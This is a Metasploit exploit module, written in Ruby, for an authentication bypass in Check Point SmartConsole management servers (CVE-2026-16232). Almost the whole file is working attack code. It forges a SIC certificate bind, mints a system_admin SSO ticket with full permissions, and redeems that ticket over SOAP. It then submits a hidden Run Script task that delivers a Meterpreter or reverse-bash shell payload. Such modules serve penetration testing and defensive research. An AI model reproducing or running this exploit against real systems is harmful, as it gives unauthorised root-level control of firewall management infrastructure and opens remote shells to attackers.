# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Check Point SmartConsole Authentication Bypass Run Script RCE',
        'Description' => %q{
          This module exploits CVE-2026-16232, an authentication bypass in the
          Check Point SmartConsole login process affecting Security Management
          Server and Multi-Domain Security Management Server. A vulnerable
          management server accepts a client-supplied SIC distinguished name
          during an application certificate bind instead of binding the
          application identity to the authenticated peer certificate.

          The module uses the unauthenticated FWM/CPMI service to replay the
          management server's own SIC DN, mints a SmartConsole SSO ticket, and
          redeems it over the CPM SOAP service. The resulting administrative
          session is then used to submit a local one-time run-script command.

          Affected versions include R82.10 before Jumbo Hotfix Take 36, R82
          before Jumbo Hotfix Take 118, and R81.20 before Jumbo Hotfix Take 158.
          Older supported release families are also affected according to the
          vendor advisory. Exploitation requires network access to the
          management server (Specifically the FWM/CPMI service port on TCP
          18190, and the CPM/DLE service port on TCP 19009), and a Trusted
          Clients configuration that does not restrict GUI clients.

          This module has been successfully tested against vulnerable R82.10
          and R81.20 targets.
        },
        'Author' => [
          'sfewer-r7'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-16232'],
          ['URL', 'https://github.com/sfewer-r7/CVE-2026-16232'], # PoC
          ['URL', 'https://support.checkpoint.com/results/sk/sk185169/'], # Vendor advisory
          ['URL', 'https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/'] # Technical analysis
        ],
        'DisclosureDate' => '2026-07-22',
        'Privileged' => true, # You get RCE as the 'admin' user who is in the root group.
        'Targets' => [
          [
            'Python Payloads',
            {
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } # rubocop:disable Lint/ModuleDefaultPayload
            }
          ],
          [
            'Command Payloads',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } # rubocop:disable Lint/ModuleDefaultPayload
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 19009, # The CPM/DLE service port for SOAP requests.
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptPort.new('FWM_PORT', [true, 'The FWM/CPMI service port', 18190])
    ])

    register_advanced_options([
      OptInt.new('CpmiTimeout', [true, 'Timeout for FWM/CPMI reads and writes', 15])
    ])
  end

  # Check whether the target accepts a forged application certificate bind using its own SIC distinguished name.
  def check
    # Establish the low-level CPMI channel before attempting the vulnerable bind sequence.
    cpmi_connect

    # A rejected bind means the target is not exploitable through this authentication bypass path.
    return CheckCode::Safe('The application certificate bind was rejected') unless cpmi_application_bind

    # A successful bind confirms the vulnerable behavior because the server accepted the replayed SIC DN.
    CheckCode::Vulnerable('The application certificate bind accepted the management server SIC DN')
  rescue Rex::ConnectionError, CpmiError, OpenSSL::SSL::SSLError, Timeout::Error => e
    CheckCode::Unknown("FWM/CPMI check failed: #{e.message}")
  ensure
    cpmi_disconnect
  end

  def exploit
    # The exploit chain is: forge the CPMI application bind, mint an SSO ticket, redeem it over SOAP, then submit a local run-script command.
    cpmi_connect
    print_status('Connected to the FWM/CPMI service')

    # Stop immediately if the target does not accept the forged bind that enables the rest of the exploit chain.
    fail_with(Failure::NotVulnerable, 'The application certificate bind was rejected') unless cpmi_application_bind

    print_good("Forged application bind accepted for SIC DN #{@cpmi_dn}")

    # Mint a SmartConsole SSO token through CPMI, then exchange it for SOAP session identifiers.
    ticket = cpmi_smartconsole_ticket
    print_status('Obtained a SmartConsole SSO ticket')

    # Redeem the CPMI-issued SSO ticket over SOAP and return the DLE session identifiers needed for later calls.
    sid, client_sid = soap_redeem_ticket(ticket)
    print_status('Redeemed the SmartConsole SSO ticket')

    # Resolve the management mirror object because local run-script execution requires a gateway UID target.
    gateway_uid = soap_management_mirror_uid(sid, client_sid)

    # The "Run Script" command will inspect the first line of the attacker-controlled script body via the method
    # com.checkpoint.management.cdm.commands.RunScriptLocalCommand.scriptType and if it contains the value "python"
    # then the script will be saved with a .py extension instead of .sh, and RunScriptLocalCommand will then resolve
    # an available Python interpreter binary to execute the script with. This is very convenient for us, and allows
    # us to easily wire up Python payloads.
    case target['Arch']
    when ARCH_PYTHON
      script_payload = "#python\n#{payload.encoded}\n"
    when ARCH_CMD
      script_payload = "#!/bin/bash\n#{payload.encoded}\n"
    else
      fail_with(Failure::BadConfig, "Unsupported target architecture #{target['Arch']}")
    end

    # Build the SOAP command payload and submit it through the authenticated ExecuteCommand service.
    _, request_body = soap_run_script_request(gateway_uid, script_payload)

    response = soap_post('ExecuteCommandSvcRemote', request_body, sid: sid, client_sid: client_sid)

    # The service returns a validation flag instead of an HTTP error when the command is rejected.
    unless soap_xml_text(response, '//cdm:valid') == 'true'
      message = soap_xml_text(response, '//cdm:validationMessage') || 'The local run-script request was rejected'
      fail_with(Failure::UnexpectedReply, message)
    end

    print_status('Submitted local run-script transaction')
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue CpmiError, SoapError, OpenSSL::SSL::SSLError, Timeout::Error => e
    fail_with(Failure::UnexpectedReply, e.message)
  ensure
    cpmi_disconnect
  end

  # ----------------------------------------------------------------------------------------
  # FWM/CPMI protocol methods (raw TCP/SIC/TLS handshake and the CPMI application protocol).
  # ----------------------------------------------------------------------------------------

  DER_SEQUENCE = 0x30
  DER_SET = 0x31
  DER_OBJECT_IDENTIFIER = 0x06
  DER_UTF8_STRING = 0x0c
  DER_PRINTABLE_STRING = 0x13
  OID_COMMON_NAME = ['550403'].pack('H*').freeze
  OID_ORGANIZATION_NAME = ['55040a'].pack('H*').freeze

  class CpmiError < StandardError; end

  # Establish the raw FWM/CPMI connection, negotiate the SIC/TLS channel, and initialize CPMI request state.
  def cpmi_connect
    @cpmi_socket = Rex::Socket::Tcp.create(
      'PeerHost' => rhost,
      'PeerPort' => datastore['FWM_PORT'],
      'Proxies' => datastore['Proxies'],
      'Timeout' => datastore['CpmiTimeout'],
      'Comm' => datastore['Comm'],
      'Context' => {
        'Msf' => framework,
        'MsfExploit' => self
      }
    )

    # Register the socket with Metasploit so framework cleanup can track it if execution aborts early.
    add_socket(@cpmi_socket)

    # The plaintext greeting leaks the management server SIC DN, which is later replayed in the forged application bind.
    cpmi_write_all(@cpmi_socket, "Y\0\0\0\0\0\0A".b)
    cpmi_read_exact(@cpmi_socket, 4)
    cpmi_lp_send(@cpmi_socket, "CN=Gui_Client\0".b)
    cpmi_write_all(@cpmi_socket, "\0\0\0\1\0".b)
    @cpmi_dn = cpmi_lp_recv(@cpmi_socket).delete_suffix("\0")

    # Drain the remaining greeting fields so the stream is aligned for the next request.
    cpmi_read_exact(@cpmi_socket, 4).unpack1('N').times { cpmi_lp_recv(@cpmi_socket) }

    # Request the CA material used by SIC, then upgrade the existing socket into the TLS channel used for CPMI messages.
    cpmi_lp_send(@cpmi_socket, "asym_sslca\0".b)
    cpmi_lp_send(@cpmi_socket, cpmi_ca_request)
    cpmi_lp_recv(@cpmi_socket)

    # Use TLS 1.2 to match the SIC handshake observed on affected targets.
    context = OpenSSL::SSL::SSLContext.new
    context.verify_mode = OpenSSL::SSL::VERIFY_NONE
    context.min_version = OpenSSL::SSL::TLS1_2_VERSION
    context.max_version = OpenSSL::SSL::TLS1_2_VERSION

    # Upgrade the already-tracked TCP socket to TLS in place, the same STARTTLS-style pattern used
    # elsewhere in the framework (e.g. Msf::Exploit::Remote::SmtpDeliver#swap_sock_plain_to_ssl and
    # Msf::Exploit::Remote::Rdp#swap_sock_plain_to_ssl), instead of juggling a second socket object.
    sslsock = OpenSSL::SSL::SSLSocket.new(@cpmi_socket, context)
    sslsock.hostname = rhost if sslsock.respond_to?(:hostname=)
    Timeout.timeout(datastore['CpmiTimeout']) { sslsock.connect }

    @cpmi_socket.extend(Rex::Socket::SslTcp)
    @cpmi_socket.sslctx = context
    @cpmi_socket.sslsock = sslsock

    # SIC requires a CRL request/answer exchange before the server accepts normal CPMI application frames.
    cpmi_write_all(@cpmi_socket, cpmi_crl_request(@cpmi_dn))
    cpmi_lp_recv(@cpmi_socket)
    cpmi_write_all(@cpmi_socket, cpmi_crl_answer)
    cpmi_read_exact(@cpmi_socket, 4)
    cpmi_write_all(@cpmi_socket, [12, 0x01010001, 3].pack('N3'))
    cpmi_receive

    # Start request numbering at zero so the first application message uses request ID 1.
    @cpmi_request_id = 0
  rescue Rex::ConnectionError
    # Rex::ConnectionError is a subclass of IOError, so it must be re-raised before the generic
    # IOError/SystemCallError rescue below to preserve the Failure::Unreachable categorization
    # used by the caller instead of misreporting a network failure as a protocol error.
    raise
  rescue IOError, SystemCallError => e
    raise CpmiError, e.message
  end

  # Close the CPMI socket and clear instance state so reconnects and cleanup remain safe.
  def cpmi_disconnect
    return unless @cpmi_socket

    cpmi_close_socket(@cpmi_socket)
    remove_socket(@cpmi_socket)
    @cpmi_socket = nil
  end

  # Send the forged application bind sequence and report whether the server accepted the replayed SIC DN.
  def cpmi_application_bind
    # Prime the session with a SmartConsole-compatible client profile before sending the forged certificate bind.
    cpmi_send(
      cpmi_client_set(
        '"SmartView Reporter Client"',
        "\t:application_login (\"CPM Server\")\n\t:client_without_administrator (true)\n"
      )
    )

    # This is CVE-2026-16232 - Reuse the server's own SIC DN in a certificate bind request to trigger
    # the authentication bypass.
    reply = cpmi_send(<<~FWSET)
      (
      \t:local_bind (0)
      \t:token_bind (0)
      \t:DN ("#{@cpmi_dn}")
      \t:certificate_bind (1)
      \t:application_login ("CPM Server")
      \t:client_without_administrator (true)
      )
    FWSET

    # The vulnerable server returns a textual status marker when the forged bind succeeds.
    success = reply.to_s.include?(':status (ok)')

    vprint_error(reply.inspect) unless success

    success
  end

  # Request a SmartConsole SSO token from CPMI and extract the 64-character ticket from the response body.
  def cpmi_smartconsole_ticket
    reply = cpmi_send(<<~FWSET)
      (
      \t:type (command)
      \t:subject (gen-sso-token)
      \t:body (
      \t\t:destination_ip ("inx invalid type (0)")
      \t\t:source_addr_type (3)
      \t\t:dest_addr_type (1)
      \t\t:type (SmartConsole)
      \t\t:sso_original_client (SmartConsole
      \t\t\t:lower_name (system_admin)
      \t\t\t:soap_local_bind (1)
      \t\t\t:permissions ("ffffffff|ffffffff|ffffffff")
      \t\t)
      \t)
      \t:no-reply (false)
      )
    FWSET

    # The token is returned inline as a lowercase hexadecimal string rather than a structured field.
    ticket = reply.to_s[/(?<![0-9a-f])[0-9a-f]{64}(?![0-9a-f])/]

    vprint_error(reply.inspect) unless ticket

    raise CpmiError, 'The gen-sso-token response did not contain a SmartConsole ticket' unless ticket

    ticket
  end

  # Frame and send a CPMI request with an incrementing request ID, then return the raw response payload.
  def cpmi_send(text)
    # CPMI request IDs are monotonically increasing and are echoed by the server for correlation.
    @cpmi_request_id += 1

    # CPMI text payloads are NUL-terminated before being wrapped in the binary message header.
    payload_data = "#{text}\0".b

    # The inner body carries request metadata followed by the textual FWSET payload.
    body = [@cpmi_request_id, 0, 2, payload_data.bytesize].pack('N4') + payload_data

    # The outer frame identifies this as a CPMI application message and includes the total frame length.
    cpmi_write_all(@cpmi_socket, [12 + body.bytesize, 0x01010e02, 3].pack('N3') + body)

    cpmi_receive
  end

  # Read a single CPMI frame, validate its declared length, and return the frame payload bytes.
  def cpmi_receive
    # Every CPMI frame starts with a fixed 12-byte header containing the total frame length.
    header = cpmi_read_exact(@cpmi_socket, 12)
    length = header.unpack1('N')

    # Reject malformed frames before attempting to read a negative or truncated, or unreasonable payload length.
    raise CpmiError, "Invalid FWM/CPMI frame length #{length}" if length < 12 || length > 0x01000000

    cpmi_read_exact(@cpmi_socket, length - 12)
  end

  # Send a length-prefixed blob using the 32-bit big-endian framing used during the pre-TLS handshake.
  def cpmi_lp_send(io, data)
    cpmi_write_all(io, [data.bytesize].pack('N') + data)
  end

  # Receive a length-prefixed blob using the 32-bit big-endian framing used during the pre-TLS handshake.
  def cpmi_lp_recv(io)
    cpmi_read_exact(io, cpmi_read_exact(io, 4).unpack1('N'))
  end

  # Read exactly the requested number of bytes from the FWM/CPMI socket.
  #
  # Rex::IO::Stream#get_once (mixed into Rex::Socket::Tcp/SslTcp) only performs a single
  # underlying read of up to `size` bytes, it does not guarantee the full amount requested,
  # so the accumulation loop below is still required on top of it.
  def cpmi_read_exact(io, size)
    data = +''.b
    while data.bytesize < size
      chunk = io.get_once(size - data.bytesize, datastore['CpmiTimeout'])

      # A nil/empty read only happens when get_once times out; get_once raises EOFError itself
      # on a genuine peer disconnect, which is normalized below along with other socket errors.
      raise CpmiError, 'Connection closed while reading FWM/CPMI data' if chunk.nil? || chunk.empty?

      data << chunk
    end
    data
  rescue IOError, SystemCallError => e
    # IOError also covers EOFError (raised directly by get_once on a genuine peer disconnect).
    # Normalize every low-level socket failure (peer disconnect, reset, broken pipe) into a single
    # CpmiError so callers anywhere in the CPMI protocol chain, not just cpmi_connect, are covered.
    raise CpmiError, "Connection closed while reading FWM/CPMI data: #{e.message}"
  end

  # Write the entire buffer to the socket, retrying partial writes until all bytes are transmitted.
  #
  # Rex::IO::Stream#put (mixed into Rex::Socket::Tcp/SslTcp) already loops internally until the
  # whole buffer is sent, returning the number of bytes actually written so a short write caused
  # by a closed connection can still be detected below.
  def cpmi_write_all(io, data)
    sent = io.put(data, 'Timeout' => datastore['CpmiTimeout'])

    raise CpmiError, 'Connection closed while writing FWM/CPMI data' unless sent == data.bytesize
  rescue IOError, SystemCallError => e
    # Normalize a broken pipe/connection reset the same way as cpmi_read_exact above.
    raise CpmiError, "Connection closed while writing FWM/CPMI data: #{e.message}"
  end

  def cpmi_close_socket(socket)
    socket&.close
  rescue IOError, OpenSSL::SSL::SSLError
    nil
  end

  # Build the FWSET client descriptor used to identify this connection as a SmartConsole-compatible CPMI client.
  def cpmi_client_set(kind, extra = '')
    <<~FWSET
      (
      \t:major (1)
      \t:minor (0)
      \t:authver (536870912)
      \t:major_release_version (5)
      \t:minor_release_version (0)
      \t:cpmi_client_major_ver (9)
      \t:cpmi_client_minor_minor (9)
      \t:cpmi_client_sp_ver (7)
      \t:cpmi_client_hf_ver (0)
      \t:cpmi_client_build_num (98)
      \t:type (#{kind})
      \t:timeout (120)
      \t:encryption_on (false)
      \t:skip_version_check (false)
      \t:is_cplauncher (false)
      \t:cpmi_client (true)
      \t:host (msf)
      #{extra})
    FWSET
  end

  # Build a serialized Huffman dictionary tree for the compact FWSET encoding used by SIC messages.
  def cpmi_huffman_dictionary(codebook)
    # SIC serializes these handshake payloads as a compact Huffman-coded FWSET stream rather than plain text.
    tree = {}
    codebook.each do |code, atom|
      node = tree

      code.each_char { |bit| node = (node[bit] ||= {}) }

      # Store atoms as binary strings because the protocol operates on raw bytes, not Ruby text encodings.
      node[:atom] = atom.is_a?(String) ? atom.b : atom
    end

    # Append the protocol terminator byte after serializing the complete dictionary tree.
    cpmi_serialize_huffman_node(tree) + "\x01".b
  end

  # Serialize one Huffman tree node recursively using the marker bytes expected by the SIC encoder.
  def cpmi_serialize_huffman_node(node)
    # Leaf nodes encode an atom directly; branch nodes recursively encode their zero and one children.
    return cpmi_huffman_leaf(node[:atom]) if node.key?(:atom)

    "\x02".b + cpmi_serialize_huffman_node(node['0']) + "\x01".b + cpmi_serialize_huffman_node(node['1'])
  end

  # Escape reserved low byte values in a Huffman atom so they are not confused with tree control markers.
  def cpmi_huffman_leaf(atom)
    atom.bytes.map { |byte| byte <= 3 ? [3, byte + 0x0a].pack('C*') : [byte].pack('C') }.join.b
  end

  # Combine a Huffman dictionary and encoded bitstream into the FWSET payload format used by SIC messages.
  def cpmi_encoded_fwset(codebook, tree_bits)
    cpmi_huffman_dictionary(codebook) + [tree_bits.bytesize].pack('V') + tree_bits
  end

  # Prefix a SIC payload with its big-endian length so the peer can delimit the message on the TLS stream.
  def cpmi_sic_frame(payload_data)
    [payload_data.bytesize].pack('N') + payload_data
  end

  # Encode a DER tag-length-value element for the minimal ASN.1 structures used in the CRL request.
  def cpmi_der_tlv(tag, value)
    [tag, value.bytesize].pack('C*') + value
  end

  # Convert the server SIC DN into the reversed DER subject atom and little-endian length expected by the CRL request.
  def cpmi_crl_subject_atom(sic_dn)
    # Parse the comma-separated DN into a normalized hash so organization and common name can be encoded reliably.
    fields = sic_dn.split(',').to_h do |part|
      key, value = part.split('=', 2)
      [key.to_s.strip.downcase, value.to_s.strip]
    end
    organization = fields.fetch('o').b
    common_name = fields.fetch('cn').b

    # Build the ASN.1 Name sequence from the organization and common-name RDNs used by the server certificate.
    der_name = cpmi_der_tlv(
      DER_SEQUENCE,
      cpmi_der_rdn(OID_ORGANIZATION_NAME, DER_PRINTABLE_STRING, organization) + cpmi_der_rdn(OID_COMMON_NAME, DER_UTF8_STRING, common_name)
    )
    # Reversed DER bytes and a little-endian length are protocol quirks of the SIC CRL request format.
    [der_name.reverse.unpack1('H*'), [der_name.bytesize].pack('V').unpack1('H*')]
  rescue KeyError
    raise CpmiError, "Unexpected SIC DN format: #{sic_dn}"
  end

  # Encode one relative distinguished name as a DER SET containing an OID and its associated string value.
  def cpmi_der_rdn(oid, tag, value)
    cpmi_der_tlv(
      DER_SET,
      cpmi_der_tlv(
        DER_SEQUENCE,
        cpmi_der_tlv(DER_OBJECT_IDENTIFIER, oid) + cpmi_der_tlv(tag, value)
      )
    )
  end

  # Build the initial CA request payload used to bootstrap the SIC/TLS negotiation.
  def cpmi_ca_request
    # The codebook and bitstream are fixed protocol artifacts required by the SIC handshake.
    cpmi_encoded_fwset(
      {
        '0' => "\x01".b,
        '10' => "\x02".b,
        '11' => 'client_ca_cert_req'
      },
      "\x0e\x00".b
    )
  end

  # Build the CRL request payload that proves knowledge of the server SIC DN during SIC negotiation.
  def cpmi_crl_request(sic_dn)
    # The codebook and bitstream are fixed protocol artifacts; only the embedded subject atom varies per target.
    subject_atom, subject_len = cpmi_crl_subject_atom(sic_dn)
    cpmi_sic_frame(
      cpmi_encoded_fwset(
        {
          '00' => "\x00".b,
          '01' => "\x02".b,
          '10' => "\x01".b,
          '11000' => 'dn',
          '11001' => 'crl_date',
          '11010' => '00000000',
          '11011' => 'dn_len',
          '11100' => subject_atom,
          '11101' => subject_len,
          '11110' => 'crl_req',
          '11111' => 'client_crl_req'
        },
        "\xfd\x17\xc4\x88\xdd\x95\x8e\xce\x96\x2a\x00".b
      )
    )
  end

  # Build the fixed CRL answer payload required to complete the SIC handshake sequence.
  def cpmi_crl_answer
    # This fixed response completes the SIC CRL exchange before CPMI application traffic begins.
    cpmi_sic_frame(
      cpmi_encoded_fwset(
        {
          '00' => "\x00".b,
          '010' => 'client_crl_answer',
          '0110' => 'crl_req',
          '0111' => 'crl_answer',
          '10' => "\x02".b,
          '11' => "\x01".b
        },
        "\xcb\x26\x9f\x02\x00".b
      )
    )
  end

  # ----------------------------------------------------------------------------------------------------------
  # CPM HTTP SOAP service methods (the authenticated web service reached over HTTP once a DLE session exists).
  # ----------------------------------------------------------------------------------------------------------

  BASE_NS = 'http://www.checkpoint.com/management/objects/schema/BaseObjects'
  CLASSES_NS = 'http://www.checkpoint.com/management/objects/schema/Classes'
  LOGIN_NS = 'http://www.checkpoint.com/DleWebService/LoginSvcRemote'
  DLE_NS = 'http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc'
  DLE_WEB_NS = 'http://www.checkpoint.com/management/objects/schema/DleWebService'
  CDM_NS = 'http://www.checkpoint.com/management/objects/schema/CdmCommandsObjects'
  XML_NS = {
    'base' => BASE_NS,
    'classes' => CLASSES_NS,
    'dle' => DLE_NS,
    'dleweb' => DLE_WEB_NS,
    'cdm' => CDM_NS
  }.freeze

  class SoapError < StandardError; end

  # Redeem the CPMI-issued SSO ticket over SOAP and return the DLE session identifiers needed for later calls.
  def soap_redeem_ticket(ticket)
    body = <<~XML
      <?xml version="1.0"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
       xmlns:l="#{LOGIN_NS}" xmlns:d="#{DLE_NS}"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <soap:Body>
          <l:loginNew>
            <d:loginRequest>
              <d:applicationName>SmartConsole</d:applicationName>
              <d:domain>41e821a0-3720-11e3-aa6e-0800200c9fde</d:domain>
              <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
                <d:username>system_admin</d:username>
                <d:SSOToken>#{ticket}</d:SSOToken>
              </d:authenticationInfo>
              <d:connectionMode>READ_WRITE</d:connectionMode>
              <d:getDomainList>false</d:getDomainList>
              <d:keepAliveTimeout>0</d:keepAliveTimeout>
              <d:userAgent>SmartConsole</d:userAgent>
              <d:workSessionMode>START_NEW</d:workSessionMode>
              <d:workSessionType>PRIVATE</d:workSessionType>
            </d:loginRequest>
          </l:loginNew>
        </soap:Body>
      </soap:Envelope>
    XML

    # Send a SOAP request to the CPM web service, attach session headers when present, and normalize SOAP faults into exceptions.
    response = soap_post('LoginSvcRemote', body)

    # Both sid and clientSessionId identifiers are required as headers on subsequent authenticated SOAP requests.
    sid = soap_xml_text(response, '//dle:sid')

    client_sid = soap_xml_text(response, '//dle:clientSessionId')

    raise SoapError, 'SmartConsole ticket redemption did not return a DLE session' if sid.blank? || client_sid.blank?

    [sid, client_sid]
  end

  # Query the management mirror object and return its UID so the run-script command has a valid local target.
  def soap_management_mirror_uid(sid, client_sid)
    # This query returns the local management mirror object that SmartConsole uses as the gateway target for local run-script execution.
    body = <<~XML
      <?xml version="1.0"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
       xmlns:q="http://www.checkpoint.com/DleWebService/QuerySvcRemote"
       xmlns:w="#{DLE_WEB_NS}">
        <soap:Body>
          <q:query>
            <q:queryRequest>
              <w:queryId>NGM_INTERFACES_SUPPORTED_OBJECTS</w:queryId>
              <w:limit>10</w:limit>
              <w:offset>0</w:offset>
              <w:queryTotalCountRequest>true</w:queryTotalCountRequest>
            </q:queryRequest>
          </q:query>
        </soap:Body>
      </soap:Envelope>
    XML

    response = soap_post('QuerySvcRemote', body, sid: sid, client_sid: client_sid)
    results = response.xpath('//dleweb:resultList', XML_NS)
    raise SoapError, 'Could not resolve the management mirror object used by local run-script' if results.empty?

    # The query may return more than one candidate object (e.g. alongside managed gateways or cluster
    # members), so document order alone is not a reliable way to pick the local management server.
    # Explicitly select the object flagged as the primary management server, and only fall back to
    # the first result if none of the candidates carry that flag.
    primary = results.find { |node| soap_xml_text(node, 'classes:primaryManagement') == 'true' }

    if primary.nil? && results.size > 1
      vprint_warning("The management mirror query returned #{results.size} candidate objects and none were flagged primaryManagement; defaulting to the first result")
    end

    gateway_uid = soap_xml_text(primary || results.first, 'base:objId')
    raise SoapError, 'The management mirror object did not contain an object ID' if gateway_uid.blank?

    gateway_uid
  end

  # Build the ExecuteCommand SOAP request for a one-time local script and return its transaction ID and XML body.
  def soap_run_script_request(gateway_uid, script_payload)
    # Use a random transaction ID to mimic normal SmartConsole command submissions.
    transaction_id = rand(1..2_000_000_000)

    # Encode the shell script body because the SOAP API expects the script content as base64 text.
    script_body = Rex::Text.encode_base64(script_payload).delete("\n")

    # This script is written to disk before execution, but then automatically deleted after execution.

    body = <<~XML
      <?xml version="1.0"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
       xmlns:e="http://www.checkpoint.com/DleWebService/ExecuteCommandSvcRemote"
       xmlns:b="#{BASE_NS}" xmlns:c="#{CDM_NS}"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <soap:Body>
        <e:executeAsyncClientCommand>
          <e:data xsi:type="c:RunScriptCommandData">
            <b:folder xsi:nil="true"/>
            <c:commandComments></c:commandComments>
            <c:commandName>Run Script</c:commandName>
            <c:userName>system_admin</c:userName>
            <c:gwUid>#{gateway_uid}</c:gwUid>
            <c:hideTask>true</c:hideTask>
            <c:progress>0</c:progress>
            <c:transactionId>#{transaction_id}</c:transactionId>
            <c:commandReturnCode>0</c:commandReturnCode>
            <c:local>true</c:local>
            <c:scriptBody>#{script_body}</c:scriptBody>
            <c:scriptName>#{Rex::Text.rand_text_alpha(16)}</c:scriptName>
            <c:scriptType>OneTime</c:scriptType>
            <c:scriptValue/>
          </e:data>
        </e:executeAsyncClientCommand>
      </soap:Body>
      </soap:Envelope>
    XML
    [transaction_id, body]
  end

  # Send a SOAP request to the CPM web service, attach session headers when present, and normalize SOAP faults into exceptions.
  def soap_post(service, body, sid: nil, client_sid: nil)
    # SOAPAction is required by the service even though the endpoint does not use a meaningful action value.
    headers = {
      'SOAPAction' => '""'
    }

    # Add authenticated session headers only after the SSO ticket has been redeemed.
    headers['DLESESSIONID'] = sid if sid
    headers['CLIENTSESSIONID'] = client_sid if client_sid

    response = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cpmws', service),
      'ctype' => 'text/xml; charset=utf-8',
      'headers' => headers,
      'data' => body
    )

    raise SoapError, 'No response from the CPM SOAP service' unless response

    # Successful SOAP calls return XML directly; non-200 responses are converted into a readable fault message.
    return response.get_xml_document if response.code == 200

    fault = response.get_xml_document.at_xpath('//*[local-name()="faultstring"]')&.text

    raise SoapError, fault || "Unexpected CPM SOAP HTTP response code #{response.code}"
  end

  def soap_xml_text(node, path)
    node.at_xpath(path, XML_NS)&.text
  end
end